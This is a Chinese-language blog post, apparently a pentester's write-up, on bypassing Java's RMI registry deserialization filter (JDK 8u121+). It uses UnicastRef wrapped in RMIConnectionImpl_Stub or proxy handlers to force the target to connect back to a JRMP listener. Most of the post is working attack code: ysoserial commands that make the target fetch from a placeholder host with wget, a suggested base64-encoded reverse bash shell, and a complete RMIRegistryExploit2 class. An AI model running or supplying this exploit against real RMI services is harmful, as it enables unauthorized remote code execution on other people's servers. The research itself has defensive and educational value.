說明
在日常掃描內網伺服器的時候發現有幾臺主機開放了rmi服務,根據以往經驗rmi服務存在反序列化漏洞,本以為可以直接拿ysoserial一把梭直接幹。
java -cp ysoserial.exploit.RMIRegistryExploit 10.9.15.193 9999 CommonsCollections2 “wget http://xxxxx:3344”
以往都成功過,但是這次居然爆出了filter status: REJECTED
出現這種情況的原因是[java 8 update 121]之後 RMIRegistryImpl.registryFilter() 的限制http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388
可以看到在idk8 update 121之後在registryFilter函式中限制了型別。
本地寫個rmi註冊服務模擬下:
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
//System.setProperty("sun.rmi.registry.registryFilter", "java.util.HashMap;");
//System.setProperty("sun.rmi.registry.registryFilter", "java.util.HashMap;sun.reflect.annotation.**;");
//System.setProperty("sun.rmi.registry.registryFilter", "java.**;sun.reflect.annotation.**;com.sun.**");
//System.setProperty("sun.rmi.registry.registryFilter", "org.apache.commons.collections4.comparators.TransformingComparator");
HelloService helloService = new HelloServiceImpl();
LocateRegistry.createRegistry(12306);
Naming.bind("rmi://localhost:12306/helloService", helloService);
System.out.println("ServerMain provide RPC service now");
}複製程式碼
啟動之後用java -cp ysoserial.exploit.RMIRegistryExploit 127.0.0.1 12306 CommonsCollections2 “wget http://xxxxx:3344”去攻擊發現服務端爆出
ServerMain provide RPC service now
九月 20, 2018 12:31:57 下午 java.io.ObjectInputStream filterCheck
資訊: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 298, ex: n/a複製程式碼
這裡很明顯為什麼是AnnotationInvocationHandler這個了類被攔截了,因為在CommonsCollections2中其實是利用了動態代理加強之後,如果不瞭解這步更多詳情可以移步 java反序列化漏洞-玄鐵重劍之CommonsCollection(上)
根據限制所以我把目光放在Number(不考慮),Remote,Proxy,UnicastRef,RMIClientSocketFactory,RMIServerSocketFactory,ActivationID,UID(基本不考慮)這幾個類中。
其中UnicastRef引起了我的注意,如果稍微有點印象的就可以知道UnicastRef本身Amf3反序列化的時候使用過。
那麼轉換攻擊思路就來了:
除錯之路
說是這麼說,但是自己在除錯和嘗試的過程中踩了很多坑,還好沒放棄。參考RMIRegistryExploit我們重點就是要構造好Remote物件,首先先構造好UnicastRef。直接採用 【技術分享】Java AMF3 反序列化漏洞分析 的類似寫法
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}複製程式碼
然後稍做在RMIRegistryExploit的基礎上稍微做一點改動,直接把
Object payload = payloadObj.getObject(command);//CommonsCollections2
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);複製程式碼
改成
Object payload = generateUnicastRef("127.0.0.1", "3348");
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);複製程式碼
答案是伺服器依舊爆ObjectInputFilter REJECTED,這個很正常,因為經過Gadgets.createMemoitizedProxy的處理邏輯本身就是AnnotationInvocationHandler這個用來動態代理,在本地伺服器除錯的時候加上
System.setProperty(“sun.rmi.registry.registryFilter”, “java. ;sun.reflect.annotation. ;com.sun.**”);發現是可以執行命令的,說明我們的思路是對的,UnicastRef直接也可以反序列化的,那麼接下來就是要想辦法怎麼去繞過ObjectInputFilter REJECTED這個限制了,本身UnicastRef是在registryFilter的範圍之內的,但是在registry.bind(name, remote)的時候需要傳入一個Remote物件。思路很清晰就是我們如果把UnicastRef封裝成Remote型別,比如:
1.動態反射
2.找一個同時繼承實現兩者的類或者實現Remote,並將UnicastRef型別作為其一個欄位
自定義一個反射
public static class PocHandler implements InvocationHandler, Serializable {
private RemoteRef ref;
protected PocHandler(RemoteRef newref) {
ref = newref;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return method.invoke(this.ref, args);
}
}複製程式碼
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Remote.class}, new PocHandler(unicastRef));
registry.bind("2333", remote);複製程式碼
開心,耐著性子接著去找第二種情況,這裡真的找了好久好久,剛開始看到UnicastRemoteObject(Remote),本來想通過設定ref欄位去設定UnicastRef,但是一直爆沒有該欄位,父類的父類的父類(太爺爺類)RemoteObject中有ref欄位。但是被申明為transient(不會被序列化,即使被反序列化之後還會為null)。
只能看原始碼了,找了很久(真的很久)找到了一個RemoteObjectInvocationHandler,本身是InvocationHandler還不會有異常。
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Activator.class}, new PocHandler(unicastRef));
registry.bind("23333", remote);複製程式碼
還有一個RMIConnectionImpl_Stub類,情況2
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef);
registry.bind(name, remote);複製程式碼
都可以還不報異常,開心。
bingo
本地除錯好自己去開始可以去執行命令了,比如反彈bash,借用下 http://jackson.thuraisamy.me/runtime-exec-payloads.html 需要轉成base64之後執行。最後貼下程式碼吧:
package ysoserial.exploit;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import sun.rmi.server.UnicastRef;
import sun.rmi.server.UnicastServerRef;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import ysoserial.secmgr.ExecCheckingSecurityManager;
import sun.rmi.registry.RegistryImpl;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import javax.net.ssl.*;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.io.Serializable;
import java.lang.reflect.*;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.activation.Activator;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
/**
* 使用UnicastRef注入,繞過ObjectInputFilter checkInput對幾個基礎型別的檢測
* sun.rmi.registry.
*/
public class RMIRegistryExploit2 {
private static class TrustAllSSL extends X509ExtendedTrustManager {
private static final X509Certificate[] ANY_CA = {};
public X509Certificate[] getAcceptedIssuers() {
return ANY_CA;
}
public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkServerTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }
public void checkServerTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }
}
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
SSLSocketFactory factory = ctx.getSocketFactory();
return factory.createSocket(host, port);
} catch (Exception e) {
throw new IOException(e);
}
}
}
public static void main(final String[] args) throws Exception {
System.out.println("用法如下 RMIRegistryHost RMIRegistryPort JRMPListenerHost JRMPListenerPort");
final String rmiRegistryHost = args[0];
final int rmiRegistryPort = Integer.parseInt(args[1]);
final String jrmpListenerHost = args[2];
final int jrmpListenerPort = Integer.parseInt(args[3]);
Registry registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort);
// test RMI registry connection and upgrade to SSL connection on fail
try {
registry.list();
} catch (ConnectIOException ex) {
registry = LocateRegistry.getRegistry(rmiRegistryHost, rmiRegistryPort, new RMISSLClientSocketFactory());
}
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, jrmpListenerHost, jrmpListenerPort);
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>() {
public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}
});
}
public static void exploit(final Registry registry, final String jrmpListenerHost, final int jrmpListenerPort) throws Exception {
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
/*
poc 1*/
RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(unicastRef);
/*
poc2
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Activator.class}, new PocHandler(unicastRef));
*/
/*
poc3
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[] { Activator.class }, new RemoteObjectInvocationHandler(unicastRef));
*/
/*
poc4 失敗,無效
UnicastRemoteObject remote = Reflections.createWithoutConstructor(java.rmi.server.UnicastRemoteObject.class);
Reflections.setFieldValue(unicastRemoteObject, "ref", unicastRef);
*/
String name = "pwned" + System.nanoTime();
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
}
/***
* 生成一個UnicastRef物件
* @param host
* @param port
* @return
*/
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static class PocHandler implements InvocationHandler, Serializable {
private RemoteRef ref;
protected PocHandler(RemoteRef newref) {
ref = newref;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return method.invoke(this.ref, args);
}
}
}
複製程式碼
最後才發現在ysoserial.payloads.JRMPClient其實也有,原來早就有,害我除錯這麼久。
不過找到了RemoteObjectInvocationHandler和RMIConnectionImpl_Stub著兩個,除錯跟蹤了那麼久,好歹有些安慰。看先知才知道RemoteObjectInvocationHandler和RMIConnectionImpl_Stub已經被拿來利用了,感覺訊息有些封閉。 https://xz.aliyun.com/t/2479 幾個類的關係,除錯的時候記錄的,名字都差不多,怕看暈了 UnicastRemoteObject->RemoteServer->RemoteObject->Remote UnicastServerRef2->UnicastServerRef->UnicastRef->RemoteRef->Externalizable
參考
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388
https://stackoverflow.com/questions/41821240/rmi-registry-filter-rejects-rmi-configuration-class-in-java-8-update-121
https://www.anquanke.com/post/id/85846
https://github.com/frohoff/ysoserial
https://xz.aliyun.com/t/2479